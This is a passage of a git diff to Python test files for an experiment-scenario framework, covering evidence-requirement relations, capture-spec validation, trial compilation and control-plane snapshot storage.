manager.plan(scenario) + assert any(d.code == "runtime.participant-clock-driver-unsupported" for d in execution_plan.diagnostics) + assert not manager.apply(execution_plan).success + assert native.native_actions == [] def test_runtime_manager_automatically_drives_wall_paced_participant_clock() -> None: @@ -2379,11 +2389,13 @@ def bind_autonomous_action( ) participant_runtime = WrongBindingRuntime() - with pytest.raises(ValueError, match="does not match the autonomous execution policy"): - scheduler.run_due( - [policy], - runtime_model.time_model, - participant_runtime, - snapshot, - ) + result = scheduler.run_due( + [policy], + runtime_model.time_model, + participant_runtime, + snapshot, + ) + assert not result.success + assert result.snapshot == snapshot + assert any(d.code == "runtime.participant-autonomous-binding-invalid" for d in result.diagnostics) assert participant_runtime.native_actions == [] diff --git a/implementations/python/tests/test_dsl_437_evaluation_authority.py b/implementations/python/tests/test_dsl_437_evaluation_authority.py index 9a0fb43e9..46812ddc6 100644 --- a/implementations/python/tests/test_dsl_437_evaluation_authority.py +++ b/implementations/python/tests/test_dsl_437_evaluation_authority.py @@ -14,7 +14,7 @@ def _declared_authority_yaml(authority: dict[str, object]) -> str: payload = yaml.safe_load(_scenario_yaml()) payload["objectives"] = { "benign-probe": { - "agent": "participant-agent", + "assigned_participant": "participant-agent", "actions": ["probe-customer-portal-login"], "targets": ["nodes.customer-portal.services.http"], "success": {"assertions": ["participant-observation-recorded"]}, diff --git a/implementations/python/tests/test_dsl_437_snapshot_durability_conformance.py b/implementations/python/tests/test_dsl_437_snapshot_durability_conformance.py index 76d267012..9393bea75 100644 --- a/implementations/python/tests/test_dsl_437_snapshot_durability_conformance.py +++ b/implementations/python/tests/test_dsl_437_snapshot_durability_conformance.py @@ -176,6 +176,7 @@ def test_runtime_snapshot_validates_policy_identity_and_time_segment( def test_control_plane_store_round_trips_valid_autonomous_state(tmp_path: Path) -> None: store = LocalControlPlaneStore(tmp_path / "control-plane") + store.admit_runtime(target_scope="target:stub", run_scope="run:test") snapshot = _snapshot() store.save_snapshot(snapshot, expected_revision=store.load_snapshot_state().revision) @@ -191,6 +192,7 @@ def test_control_plane_stores_revalidate_mutated_autonomous_state(tmp_path: Path snapshot.participant_autonomous_execution_states[STATE_ADDRESS] = _state(attempted_actions=2) memory_store = InMemoryControlPlaneStore() local_store = LocalControlPlaneStore(tmp_path / "control-plane") + local_store.admit_runtime(target_scope="target:stub", run_scope="run:test") memory_revision = memory_store.load_snapshot_state().revision local_revision = local_store.load_snapshot_state().revision @@ -203,6 +205,7 @@ def test_control_plane_stores_revalidate_mutated_autonomous_state(tmp_path: Path def test_local_control_plane_store_rejects_invalid_durable_state(tmp_path: Path) -> None: store_path = tmp_path / "control-plane" store = LocalControlPlaneStore(store_path) + store.admit_runtime(target_scope="target:stub", run_scope="run:test") store.save_snapshot(_snapshot(), expected_revision=store.load_snapshot_state().revision) def mutate(payload: dict[str, object]) -> None: @@ -221,6 +224,7 @@ def mutate(payload: dict[str, object]) -> None: def test_local_control_plane_store_rejects_durable_clock_segment_mismatch(tmp_path: Path) -> None: store_path = tmp_path / "control-plane" store = LocalControlPlaneStore(store_path) + store.admit_runtime(target_scope="target:stub", run_scope="run:test") store.save_snapshot(_snapshot(), expected_revision=store.load_snapshot_state().revision) def mutate(payload: dict[str, object]) -> None: @@ -248,6 +252,7 @@ def mutate(payload: dict[str, object]) -> None: def test_local_control_plane_store_rejects_corrupted_payload(tmp_path: Path) -> None: store_path = tmp_path / "control-plane" store = LocalControlPlaneStore(store_path) + store.admit_runtime(target_scope="target:stub", run_scope="run:test") store.save_snapshot(_snapshot(), expected_revision=store.load_snapshot_state().revision) _rewrite_durable_snapshot(store_path, lambda payload: payload.clear(), update_digest=False) diff --git a/implementations/python/tests/test_example_library_policy.py b/implementations/python/tests/test_example_library_policy.py index 2432ff588..41a39afaa 100644 --- a/implementations/python/tests/test_example_library_policy.py +++ b/implementations/python/tests/test_example_library_policy.py @@ -73,10 +73,10 @@ } }, "entities": {"blue-team": {"role": "blue"}}, - "agents": {"operator": {"entity": "blue-team"}}, + "agents": {"operator": {"affiliations": ["blue-team"]}}, "objectives": { "verify-app-health": { - "agent": "operator", + "assigned_participant": "operator", "targets": ["nodes.app.services.https"], "success": {"assertions": ["app-healthy"]}, } diff --git a/implementations/python/tests/test_example_schema_conformance.py b/implementations/python/tests/test_example_schema_conformance.py index c9b12d17f..4477c1ee8 100644 --- a/implementations/python/tests/test_example_schema_conformance.py +++ b/implementations/python/tests/test_example_schema_conformance.py @@ -1,10 +1,9 @@ """Issue #501 (review CT-4) — worked examples conform to the *published* JSON Schema. -``test_scenarios.py`` proves every ``examples/scenarios/*.sdl.yaml`` loads through the -Pydantic parser, but Pydantic acceptance is not published-schema conformance, and the -worked examples are the proof artifacts third parties read. This suite serializes each -example with the canonical, contract-shaped publication serialization -(``model_dump(mode="json", by_alias=True)`` — the same flags ``raes_processor/compiler.py`` +Every example loads through its production loader; SDL examples must also have a name +and no advisories. Pydantic acceptance is not published-schema conformance, so this +suite also serializes each example with the canonical, contract-shaped publication +serialization (``model_dump(mode="json", by_alias=True)`` — the same flags ``raes_processor/compiler.py`` uses) and validates the result against the *checked-in* published schema ``contracts/schemas/sdl/sdl-authoring-input-v1.json`` with ``Draft202012Validator``. @@ -137,6 +136,9 @@ def test_example_conforms_to_published_schema(entry: CorpusEntry, path: Path) -> projection. """ scenario = entry.loader(path) + if entry.contract_id == "sdl-authoring-input-v1": + assert scenario.name, path.name + assert scenario.advisories == [], path.name payload = scenario.model_dump(**entry.dump_kwargs) errors = sorted(entry.validator().iter_errors(payload), key=lambda error: error.json_path) diff --git a/implementations/python/tests/test_exp_731_archival_validation.py b/implementations/python/tests/test_exp_731_archival_validation.py new file mode 100644 index 000000000..be308250a --- /dev/null +++ b/implementations/python/tests/test_exp_731_archival_validation.py @@ -0,0 +1,131 @@ +"""EXP-731 cross-artifact validation for archival run and study carriers.""" + +from __future__ import annotations + +import io + +import pytest +from raes_contracts.contracts import ( + ExperimentRunEvidenceInputs, + ExperimentRunModel, + ExperimentStudyModel, + ExperimentTaskModel, + validate_experiment_run_against_task, + validate_experiment_study_against_tasks_and_runs, +) +from test_exp_731_evidence_requirement_refinement import ( + _authority_ref, + _capture_spec, + _fixture, + _relation, + _scenario, + _scenario_ref, +) +from test_issue_1112_capture_admission import _evidence_bundle + + +def _archival_evidence_context(scenario): + task, run, capture_spec, evidence_record, payload = _evidence_bundle() + task = ExperimentTaskModel.model_validate({**task.model_dump(mode="json"), "scenario_ref": _scenario_ref(scenario)}) + run = ExperimentRunModel.model_validate( + {**run.model_dump(mode="json"), "scenario_snapshot_ref": _scenario_ref(scenario)} + ) + return task, run, capture_spec, evidence_record, payload + + +def test_authoritative_archival_run_validation_resolves_relation_artifacts() -> None: + scenario = _scenario() + task, run, evidence_capture_spec, evidence_record, payload = _archival_evidence_context(scenario) + run_payload = run.model_dump(mode="json") + authority_ref = _authority_ref("run", run_payload) + relation = _relation(scenario, authority_ref, dimensions=["loss-disclosure"]) + relation["capture_spec_ref"] = { + "ref_kind": "capture-spec", + "ref_id": evidence_capture_spec.capture_spec_id, + "ref_version": evidence_capture_spec.spec_version, + } + relation["capture_requirement_ref"] = "auth-log-evidence" + run_payload["evidence_requirement_relations"] = [relation] + run = ExperimentRunModel.model_validate(run_payload) + inputs = ExperimentRunEvidenceInputs( + capture_specs={evidence_capture_spec.capture_spec_id: evidence_capture_spec}, + evidence_records={evidence_record.evidence_record_id: evidence_record}, + artifact_readers={"auth-log-evidence": io.BytesIO(payload)}, + scenarios={scenario.name: scenario}, + ) + + assert validate_experiment_run_against_task(task, run, evidence=inputs) + + unresolved_inputs = ExperimentRunEvidenceInputs( + capture_specs={evidence_capture_spec.capture_spec_id: evidence_capture_spec}, + evidence_records={evidence_record.evidence_record_id: evidence_record}, + artifact_readers={"auth-log-evidence": io.BytesIO(payload)}, + ) + with pytest.raises(ValueError, match="exactly one supplied authored scenario"): + validate_experiment_run_against_task(task, run, evidence=unresolved_inputs) + + invalid_capture_payload = evidence_capture_spec.model_dump(mode="json") + invalid_capture_payload["capture_requirements"]["auth-log-evidence"]["loss_disclosure_required"] = False + invalid_relation_capture_spec = type(evidence_capture_spec).model_validate(invalid_capture_payload) + invalid_inputs = ExperimentRunEvidenceInputs( + capture_specs={invalid_relation_capture_spec.capture_spec_id: invalid_relation_capture_spec}, + evidence_records={evidence_record.evidence_record_id: evidence_record}, + artifact_readers={"auth-log-evidence": io.BytesIO(payload)}, + scenarios={scenario.name: scenario}, + ) + with pytest.raises(ValueError, match="refinement_dimensions must strengthen"): + validate_experiment_run_against_task(task, run, evidence=invalid_inputs) + + +def test_authoritative_archival_study_validation_resolves_relation_artifacts() -> None: + scenario = _scenario() + task, run, evidence_capture_spec, evidence_record, payload = _archival_evidence_context(scenario) + study_payload = _fixture("experiment-study-v1") + authority_ref = _authority_ref("study", study_payload) + study_payload["evidence_requirement_relations"] = [ + _relation(scenario, authority_ref, dimensions=["integrity-requirements"]) + ] + study = ExperimentStudyModel.model_validate(study_payload) + valid_capture_spec = _capture_spec(authority_ref) + + validate_experiment_study_against_tasks_and_runs( + study, + [task], + [run], + evidence_by_run={ + run.run_id: ExperimentRunEvidenceInputs( + capture_specs={evidence_capture_spec.capture_spec_id: evidence_capture_spec}, + evidence_records={evidence_record.evidence_record_id: evidence_record}, + artifact_readers={"auth-log-evidence": io.BytesIO(payload)}, + ) + }, + relation_scenarios={scenario.name: scenario}, + relation_capture_specs={valid_capture_spec.capture_spec_id: valid_capture_spec}, + ) + + with pytest.raises(ValueError, match="exactly one supplied authored scenario"): + validate_experiment_study_against_tasks_and_runs( + study, + [task], + [run], + relation_scenarios={}, + relation_capture_specs={valid_capture_spec.capture_spec_id: valid_capture_spec}, + ) + + invalid_capture_spec = _capture_spec(authority_ref, integrity=["timestamped"]) + evidence_inputs = ExperimentRunEvidenceInputs( + capture_specs={evidence_capture_spec.capture_spec_id: evidence_capture_spec}, + evidence_records={evidence_record.evidence_record_id: evidence_record}, + artifact_readers={"auth-log-evidence": io.BytesIO(payload)}, + ) + evidence_by_run = {run.run_id: evidence_inputs} + relation_capture_specs = {invalid_capture_spec.capture_spec_id: invalid_capture_spec} + with pytest.raises(ValueError, match="integrity-requirements.*preserve"): + validate_experiment_study_against_tasks_and_runs( + study, + [task], + [run], + evidence_by_run=evidence_by_run, + relation_scenarios={scenario.name: scenario}, + relation_capture_specs=relation_capture_specs, + ) diff --git a/implementations/python/tests/test_exp_731_evidence_requirement_refinement.py b/implementations/python/tests/test_exp_731_evidence_requirement_refinement.py new file mode 100644 index 000000000..f76d561cb --- /dev/null +++ b/implementations/python/tests/test_exp_731_evidence_requirement_refinement.py @@ -0,0 +1,455 @@ +"""EXP-731 scoped evidence-requirement refinement and extension.""" + +from __future__ import annotations + +import copy +import json +from dataclasses import replace +from pathlib import Path + +import pytest +from raes import canonical_sdl_digest +from raes.parser import parse_sdl +from raes.scenario import ExpandedScenario +from raes.validator import SemanticValidator +from raes_contracts._evidence_content_validation import _json_pointer_resolves, _parse_contract_document +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts import ( + ExperimentCaptureSpecModel, + ExperimentEvidenceRequirementRelationModel, + ExperimentReferenceModel, + ExperimentRunModel, + ExperimentSpecModel, + ExperimentStudyModel, + ExperimentTaskModel, + validate_evidence_requirement_relations, +) +from raes_contracts.semantic_comparison import ( + ImpactClosureStatus, + SemanticComparisonProfileModel, + SemanticComparisonRequestModel, + canonical_semantic_comparison_profile_digest, +) +from raes_processor.capture_admission import ( + compile_scoped_evidence_requirement_demands, +) +from raes_processor.semantic_comparison import analyze_semantic_comparison +from raes_processor.semantic_comparison_adapters import build_impact_scope, coordinate_for_artifact +from raes_processor.trial_compiler import compile_admitted_trial_plan + +REPO_ROOT = Path(__file__).resolve().parents[3] +FIXTURE_ROOT = REPO_ROOT / "contracts" / "fixtures" / "experiment-core" + + +def _fixture(contract_id: str) -> dict: + path = FIXTURE_ROOT / contract_id / "valid" / "reference.json" + return json.loads(path.read_text(encoding="utf-8")) + + +def _scenario(): + return parse_sdl( + """ + name: exp731-scenario + version: 1.0.0 + evidence_requirements: + event-log: + description: Capture selected event fields while leaving other realization choices open. + source_class: external + scope: run + window: run + channel: log + artifact_role: event-log + media_types: + - application/json + sensitivity: plain + redaction: none + integrity: checksum + retention: run_lifetime + loss_disclosure: best_effort + output_contract: participant-behavior-history-event-stream-v1 + field_selectors: + - /0 + """ + ) + + +def _scenario_ref(scenario) -> dict: + return { + "ref_kind": "scenario-snapshot", + "ref_id": scenario.name, + "ref_version": scenario.version, + "ref_digest": canonical_sdl_digest(scenario).value, + } + + +def _authority_ref(scope: str, payload: dict) -> dict: + if scope == "task": + return {"ref_kind": "task", "ref_id": payload["task_id"], "ref_version": payload["task_version"]} + if scope == "run-plan": + return { + "ref_kind": "authoring-input", + "ref_id": payload["spec_id"], + "ref_version": payload["spec_version"], + } + if scope == "run": + return {"ref_kind": "run", "ref_id": payload["run_id"], "ref_version": payload["run_version"]} + return {"ref_kind": "study", "ref_id": payload["study_id"], "ref_version": payload["study_version"]} + + +def _relation( + scenario, + authority_ref: dict, + *, + relation_kind: str = "refine", + dimensions: list[str] | None = None, +) -> dict: + scope = "run" if authority_ref["ref_kind"] in {"authoring-input", "run"} else authority_ref["ref_kind"] + return { + "relation_id": f"{scope}-event-log-detail", + "relation_version": "1.0.0", + "relation_kind": relation_kind, + "scope": scope, + "authority_ref": authority_ref, + "base_scenario_ref": _scenario_ref(scenario), + "base_requirement_address": "evidence_requirements.event-log", + "capture_spec_ref": { + "ref_kind": "capture-spec", + "ref_id": "capture-event-log-detail", + "ref_version": "1.0.0", + }, + "capture_requirement_ref": "event-log-detail", + "refinement_dimensions": dimensions or [], + "rationale": "Require a bounded additional event field without changing the authored requirement.", + } + + +def _capture_spec( + authority_ref: dict, + *, + artifact_roles: list[str] | None = None, + integrity: list[str] | None = None, +) -> ExperimentCaptureSpecModel: + return ExperimentCaptureSpecModel.model_validate( + { + "schema_version": "experiment-capture-spec/v1", + "capture_spec_id": "capture-event-log-detail", + "spec_version": "1.0.0", + "title": "Scoped event-log detail", + "description": "An independently admitted scoped evidence obligation.", + "scope_refs": [authority_ref], + "capture_windows": [ + { + "window_id": "run-window", + "window_kind": "run", + "starts_at": "2026-09-14T10:00:00Z", + "ends_at": "2026-09-14T10:05:00Z", + } + ], + "capture_requirements": { + "event-log-detail": { + "requirement_id": "event-log-detail", + "title": "Additional event-log detail", + "capture_kind": "log", + "capture_scope": "run", + "channel_ref": { + "ref_kind": "measurement-channel", + "ref_id": "event-log-channel", + "ref_version": "1.0.0", + }, + "window_refs": ["run-window"], + "expected_media_types": ["application/json"], + "required_artifact_roles": artifact_roles or ["event-log"], + "output_contract": "participant-behavior-history-event-stream-v1", + "field_selectors": ["/0", "/0/action_contract_address"], + "sensitivity": "internal", + "integrity_requirements": integrity or ["checksum", "sha256-digest"], + "loss_disclosure_required": True, + } + }, + } + ) + + +def test_relation_is_reused_by_task_run_plan_run_and_study_carriers() -> None: + scenario = _scenario() + + task_payload = _fixture("experiment-task-v1") + task_payload["scenario_ref"] = _scenario_ref(scenario) + task_payload["evidence_requirement_relations"] = [ + _relation(scenario, _authority_ref("task", task_payload), dimensions=["field-selectors"]) + ] + assert ExperimentTaskModel.model_validate(task_payload).evidence_requirement_relations[0].scope == "task" + + spec_payload = _fixture("experiment-authoring-input-v1") + spec_payload["intended_scenario_ref"] = _scenario_ref(scenario) + spec_payload["run_plan"]["evidence_requirement_relations"] = [ + _relation(scenario, _authority_ref("run-plan", spec_payload), dimensions=["field-selectors"]) + ] + assert ExperimentSpecModel.model_validate(spec_payload).run_plan.evidence_requirement_relations[0].scope == "run" + + run_payload = _fixture("experiment-run-v1") + run_payload["scenario_snapshot_ref"] = _scenario_ref(scenario) + run_payload["evidence_requirement_relations"] = [ + _relation(scenario, _authority_ref("run", run_payload), dimensions=["field-selectors"]) + ] + assert ExperimentRunModel.model_validate(run_payload).evidence_requirement_relations[0].scope == "run" + + study_payload = _fixture("experiment-study-v1") + study_payload["evidence_requirement_relations"] = [ + _relation(scenario, _authority_ref("study", study_payload), dimensions=["field-selectors"]) + ] + assert ExperimentStudyModel.model_validate(study_payload).evidence_requirement_relations[0].scope == "study" + + +def test_refinement_resolves_exact_lineage_and_preserves_the_authored_scenario() -> None: + scenario = _scenario() + before = scenario.model_dump(mode="json") + task_payload = _fixture("experiment-task-v1") + authority_ref = _authority_ref("task", task_payload) + relation = ExperimentEvidenceRequirementRelationModel.model_validate( + _relation( + scenario, + authority_ref, + dimensions=["field-selectors", "integrity-requirements", "loss-disclosure"], + ) + ) + capture_spec = _capture_spec(authority_ref) + + validated = validate_evidence_requirement_relations( + (relation,), scenario=scenario, capture_specs={capture_spec.capture_spec_id: capture_spec} + ) + + assert validated == (relation,) + assert scenario.model_dump(mode="json") == before + + +def test_refinement_selectors_resolve_against_registered_stream_content() -> None: + scenario = _scenario() + capture_spec = _capture_spec(_authority_ref("task", _fixture("experiment-task-v1"))) + requirement = capture_spec.capture_requirements["event-log-detail"] + payload = ( + REPO_ROOT + / "contracts/fixtures/control-plane/participant-behavior-history-event-stream-v1/valid/terminal-observation.json" + ).read_bytes() + document = _parse_contract_document( + payload, + media_type="application/json", + output_contract=requirement.output_contract, + ) + selectors = scenario.evidence_requirements["event-log"].field_selectors + requirement.field_selectors + assert all(_json_pointer_resolves(document, selector) for selector in selectors) + + +def test_refinement_fails_closed_when_a_declared_dimension_is_not_monotone() -> None: + scenario = _scenario() + task_payload = _fixture("experiment-task-v1") + authority_ref = _authority_ref("task", task_payload) + relation = ExperimentEvidenceRequirementRelationModel.model_validate( + _relation(scenario, authority_ref, dimensions=["integrity-requirements"]) + ) + capture_spec = _capture_spec(authority_ref, integrity=["timestamped"]) + + with pytest.raises(ValueError, match="integrity-requirements.*preserve"): + validate_evidence_requirement_relations( + (relation,), scenario=scenario, capture_specs={capture_spec.capture_spec_id: capture_spec} + ) + + +def test_artifact_role_refinement_rejects_an_added_alternative() -> None: + scenario = _scenario() + task_payload = _fixture("experiment-task-v1") + authority_ref = _authority_ref("task", task_payload) + relation = ExperimentEvidenceRequirementRelationModel.model_validate( + _relation(scenario, authority_ref, dimensions=["artifact-roles"]) + ) + capture_spec = _capture_spec(authority_ref, artifact_roles=["event-log", "unrelated-role"]) + + with pytest.raises(ValueError, match="artifact-roles.*must not add accepted values"): + validate_evidence_requirement_relations( + (relation,), scenario=scenario, capture_specs={capture_spec.capture_spec_id: capture_spec} + ) + + +def test_refinement_rejects_changed_scenario_identity_and_wrong_authority() -> None: + scenario = _scenario() + task_payload = _fixture("experiment-task-v1") + authority_ref = _authority_ref("task", task_payload) + relation_payload = _relation(scenario, authority_ref, dimensions=["field-selectors"]) + relation_payload["base_scenario_ref"]["ref_digest"] = "sha256:" + "0" * 64 + relation = ExperimentEvidenceRequirementRelationModel.model_validate(relation_payload) + capture_specs = {"capture-event-log-detail": _capture_spec(authority_ref)} + + with pytest.raises(ValueError, match="base_scenario_ref must match"): + validate_evidence_requirement_relations((relation,), scenario=scenario, capture_specs=capture_specs) + + wrong_task = copy.deepcopy(task_payload) + wrong_task["scenario_ref"] = _scenario_ref(scenario) + wrong_task["evidence_requirement_relations"] = [ + _relation( + scenario, + {"ref_kind": "task", "ref_id": "another-task", "ref_version": "1.0.0"}, + dimensions=["field-selectors"], + ) + ] + with pytest.raises(ValueError, match="authority_ref must match the task carrier"): + ExperimentTaskModel.model_validate(wrong_task) + + +def test_extension_compiles_base_and_scoped_demands_conjunctively_without_filling_open_detail() -> None: + scenario = _scenario() + task_payload = _fixture("experiment-task-v1") + authority_ref = _authority_ref("task", task_payload) + relation = ExperimentEvidenceRequirementRelationModel.model_validate( + _relation(scenario, authority_ref, relation_kind="extend") + ) + capture_spec = _capture_spec(authority_ref) + + demands = compile_scoped_evidence_requirement_demands( + scenario, + (capture_spec,), + (relation,), + ) + + assert [demand.address for demand in demands] == [ + "evidence_requirements.event-log", + "capture_specs.capture-event-log-detail.capture_requirements.event-log-detail", + ] + assert demands[0].source_classes == ("external",) + assert demands[0].source_refs == () + assert demands[1].source_classes == () + assert demands[1].source_refs == () + + +def _compare(before: object, after: object): + profile_path = REPO_ROOT / "contracts" / "profiles" / "semantic-comparison" / "reference-v2.json" + profile = SemanticComparisonProfileModel.model_validate_json(profile_path.read_text(encoding="utf-8")) + before_coordinate = coordinate_for_artifact(before) + after_coordinate = coordinate_for_artifact(after) + scope = build_impact_scope( + (before,), + (after,), + traversal_roots=(after_coordinate.canonical_identity,), + closure_status=ImpactClosureStatus.COMPLETE, + ) + request = SemanticComparisonRequestModel( + comparison_profile=profile.profile_id, + comparison_profile_digest=canonical_semantic_comparison_profile_digest(profile), + analyzer_profile=profile.analyzer_profile, + before=before_coordinate, + after=after_coordinate, + impact_scope=scope, + ) + return analyze_semantic_comparison(profile, request, before, after) + + +@pytest.mark.parametrize( + ("contract_id", "model", "scope"), + [ + ("experiment-task-v1", ExperimentTaskModel, "task"), + ("experiment-run-v1", ExperimentRunModel, "run"), + ("experiment-study-v1", ExperimentStudyModel, "study"), + ], +) +def test_semantic_comparison_detects_relation_changes(contract_id: str, model: type, scope: str) -> None: + scenario = _scenario() + payload = _fixture(contract_id) + if scope == "task": + payload["scenario_ref"] = _scenario_ref(scenario) + elif scope == "run": + payload["scenario_snapshot_ref"] = _scenario_ref(scenario) + before = model.model_validate(payload) + payload["evidence_requirement_relations"] = [ + _relation(scenario, _authority_ref(scope, payload), relation_kind="extend") + ] + after = model.model_validate(payload) + + owner_identity = coordinate_for_artifact(after).canonical_identity + change = next(change for change in _compare(before, after).changes if change.identity == owner_identity) + + assert change.structural_relation.value == "changed" + assert change.semantic_relation.value == "changed" + + +def _family_with_authored_requirement(family: ExpandedScenario) -> ExpandedScenario: + payload = family.model_dump( + mode="python", + by_alias=True, + exclude_unset=True, + exclude={"expansion_provenance"}, + ) + payload["evidence_requirements"] = { + "event-log": _scenario() + .evidence_requirements["event-log"] + .model_dump( + mode="python", + by_alias=True, + exclude_unset=True, + ) + } + updated = ExpandedScenario.model_validate(payload) + SemanticValidator(updated).validate() + updated._set_semantic_validated(True) + return updated + + +def _request_with_invalid_relation(carrier: str): + from test_sce_002_trial_compiler import _request + + base_request = _request(run_count=2) + request = base_request.with_family(_family_with_authored_requirement(base_request.family)) + family = request.family + task_payload = request.task.model_dump(mode="json") + task_payload["scenario_ref"] = _scenario_ref(family) + experiment_payload = request.experiment.model_dump(mode="json") + if carrier == "task": + authority_ref = _authority_ref("task", task_payload) + task_payload["evidence_requirement_relations"] = [ + _relation(family, authority_ref, dimensions=["integrity-requirements"]) + ] + else: + authority_ref = _authority_ref("run-plan", experiment_payload) + experiment_payload["run_plan"]["evidence_requirement_relations"] = [ + _relation(family, authority_ref, dimensions=["integrity-requirements"]) + ] + capture_spec = _capture_spec(authority_ref, integrity=["timestamped"]) + experiment_payload["capture_spec_refs"].append( + { + "ref_kind": "capture-spec", + "ref_id": capture_spec.capture_spec_id, + "ref_version": capture_spec.spec_version, + } + ) + task = ExperimentTaskModel.model_validate(task_payload) + experiment = ExperimentSpecModel.model_validate(experiment_payload) + input_refs = request.input_refs.model_copy( + update={ + "authoring_input_ref": request.input_refs.authoring_input_ref.model_copy( + update={"ref_digest": canonical_json_digest(experiment.model_dump(mode="json"))} + ), + "task_digest": canonical_json_digest(task.model_dump(mode="json")), + "capture_spec_refs": [ + *request.input_refs.capture_spec_refs, + ExperimentReferenceModel( + ref_kind="capture-spec", + ref_id=capture_spec.capture_spec_id, + ref_version=capture_spec.spec_version, + ref_digest=canonical_json_digest(capture_spec.model_dump(mode="json")), + ), + ], + } + ) + return replace( + request, + experiment=experiment, + task=task, + input_refs=input_refs, + capture_specs={**request.capture_specs, capture_spec.capture_spec_id: capture_spec}, + ) + + +@pytest.mark.parametrize("carrier", ["task", "run-plan"]) +def test_trial_compiler_rejects_invalid_authoritative_relations(carrier: str) -> None: + result = compile_admitted_trial_plan(_request_with_invalid_relation(carrier)) + + assert result.plan is None + assert [diagnostic.code for diagnostic in result.diagnostics] == ["trial-compiler.entry-invalid"] diff --git a/implementations/python/tests/test_exp_731_trial_realization.py b/implementations/python/tests/test_exp_731_trial_realization.py new file mode 100644 index 000000000..801eff460 --- /dev/null +++ b/implementations/python/tests/test_exp_731_trial_realization.py @@ -0,0 +1,148 @@ +"""EXP-731 relation-aware trial realization regression coverage.""" + +from __future__ import annotations + +import copy +from dataclasses import replace + +from raes.scenario import ExpandedScenario +from raes.validator import SemanticValidator +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts import ExperimentTaskModel +from raes_processor.trial_compiler import compile_admitted_trial_plan +from test_exp_731_evidence_requirement_refinement import ( + _authority_ref, + _relation, + _scenario_ref, +) + + +def _family_with_supported_authored_requirement(family: ExpandedScenario) -> ExpandedScenario: + payload = family.model_dump( + mode="python", + by_alias=True, + exclude_unset=True, + exclude={"expansion_provenance"}, + ) + payload["evidence_requirements"] = { + "event-log": { + "description": "Retain the admitted participant behavior field.", + "source_class": "processor_backend", + "scope": "network", + "window": "run", + "channel": "trace", + "artifact_role": "observation", + "media_types": ["application/json"], + "sensitivity": "plain", + "redaction": "none", + "integrity": "checksum", + "retention": "run_lifetime", + "loss_disclosure": "required", + "output_contract": "participant-behavior-history-event-stream-v1", + "field_selectors": ["/0/action_contract_address"], + } + } + updated = ExpandedScenario.model_validate(payload) + SemanticValidator(updated).validate() + updated._set_semantic_validated(True) + return updated + + +def _request_with_valid_task_extension(): + from test_sce_002_trial_compiler import _request + from test_sce_002_trial_realization import _request_with_processor + + base_request = _request(run_count=2) + request = base_request.with_family(_family_with_supported_authored_requirement(base_request.family)) + capture_spec = next(iter(request.capture_specs.values())) + task_payload = request.task.model_dump(mode="json") + task_payload["scenario_ref"] = _scenario_ref(request.family) + authority_ref = _authority_ref("task", task_payload) + relation = _relation(request.family, authority_ref, relation_kind="extend") + relation["capture_spec_ref"] = { + "ref_kind": "capture-spec", + "ref_id": capture_spec.capture_spec_id, + "ref_version": capture_spec.spec_version, + } + relation["capture_requirement_ref"] = "auth-log-evidence" + task_payload["evidence_requirement_relations"] = [relation] + task = ExperimentTaskModel.model_validate(task_payload) + + backend_key = next(key for key in request.apparatus_manifests if key[0] == "backend") + backend = request.apparatus_manifests[backend_key] + backend_payload = backend.model_dump(mode="json") + offers = backend_payload["capabilities"]["observation"]["capture_offers"] + base_offer = copy.deepcopy(offers[0]) + base_offer.update( + { + "offer_id": "compiler-fixture-authored-event-log", + "source_classes": ["processor_backend"], + "channel_kinds": ["backend-log"], + "channel_refs": [], + "integrity_modes": ["checksum"], + "sensitivity": "plain", + "retention_policy_refs": ["run_lifetime"], + } + ) + offers.append(base_offer) + admitted_backend = type(backend).model_validate(backend_payload) + backend_ref = request.apparatus.manifest_refs[0].model_copy( + update={"ref_digest": canonical_json_digest(admitted_backend.model_dump(mode="json"))} + ) + + processor_request = _request_with_processor() + processor_manifests = { + key: manifest for key, manifest in processor_request.apparatus_manifests.items() if key[0] == "processor" + } + processor_refs = [ + reference + for reference in processor_request.apparatus.manifest_refs + if reference.subject_ref.ref_kind == "processor" + ] + apparatus = request.apparatus.model_copy(update={"manifest_refs": [backend_ref, *processor_refs]}) + input_refs = request.input_refs.model_copy( + update={"task_digest": canonical_json_digest(task.model_dump(mode="json"))} + ) + return replace( + request, + task=task, + input_refs=input_refs, + apparatus=apparatus, + apparatus_manifests={backend_key: admitted_backend, **processor_manifests}, + ) + + +def test_trial_realization_revalidates_relations_against_the_authoring_scenario(monkeypatch) -> None: + import raes_processor.trial_realization as realization_module + from test_sce_002_trial_realization import _realization_inputs + + request = _request_with_valid_task_extension() + result = compile_admitted_trial_plan(request) + assert result.plan is not None + plan = result.plan + entry = next(iter(plan.entries.values())) + calls = [] + original = realization_module.compile_scoped_evidence_requirement_demands + + def guarded(scenario, capture_specs, relations, *, relation_scenario=None): + calls.append((scenario, capture_specs, relations, relation_scenario)) + return original( + scenario, + capture_specs, + relations, + relation_scenario=relation_scenario, + ) + + monkeypatch.setattr(realization_module, "compile_scoped_evidence_requirement_demands", guarded) + realized = realization_module.realize_admitted_trial_entry( + inputs=_realization_inputs(request, plan, request.task), + plan_entry_id=entry.plan_entry_id, + ) + + assert len(calls) == 1 + assert calls[0][2] == tuple(request.task.evidence_requirement_relations) + assert calls[0][3] is request.family + assert [demand.address for demand in realized.execution_plan.model.capture_demands] == [ + "evidence_requirements.event-log", + "capture_specs.capture-techvault-evidence-v1.capture_requirements.auth-log-evidence", + ] diff --git a/implementations/python/tests/test_exp_732_evidence_provenance.py b/implementations/python/tests/test_exp_732_evidence_provenance.py new file mode 100644 index 000000000..54c7f2e2f --- /dev/null +++ b/implementations/python/tests/test_exp_732_evidence_provenance.py @@ -0,0 +1,155 @@ +"""EXP-732 joins preserved evidence and augmentation to the run apparatus.""" + +from __future__ import annotations + +import io + +import pytest +from raes_conformance.conformance import observability_evidence_conformance_diagnostics +from raes_contracts.contracts import ( + ExperimentCaptureSpecModel, + ExperimentEvidenceRecordModel, + ExperimentRunEvidenceInputs, + ExperimentRunModel, + validate_experiment_run_against_task, +) +from test_issue_1112_capture_admission import _evidence_bundle +from test_sem_225_augmentation_semantics import _base_augmentation_disclosure + + +def _validate(run, record, *, task, capture, content): + return validate_experiment_run_against_task( + task, + run, + evidence=ExperimentRunEvidenceInputs( + capture_specs={capture.capture_spec_id: capture}, + evidence_records={record.evidence_record_id: record}, + artifact_readers={run.evidence_artifacts[0].artifact_id: io.BytesIO(content)}, + ), + ) + + +@pytest.fixture +def provenance_bundle(): + task, run, capture, record, content = _evidence_bundle() + payload = record.model_dump(mode="json") + 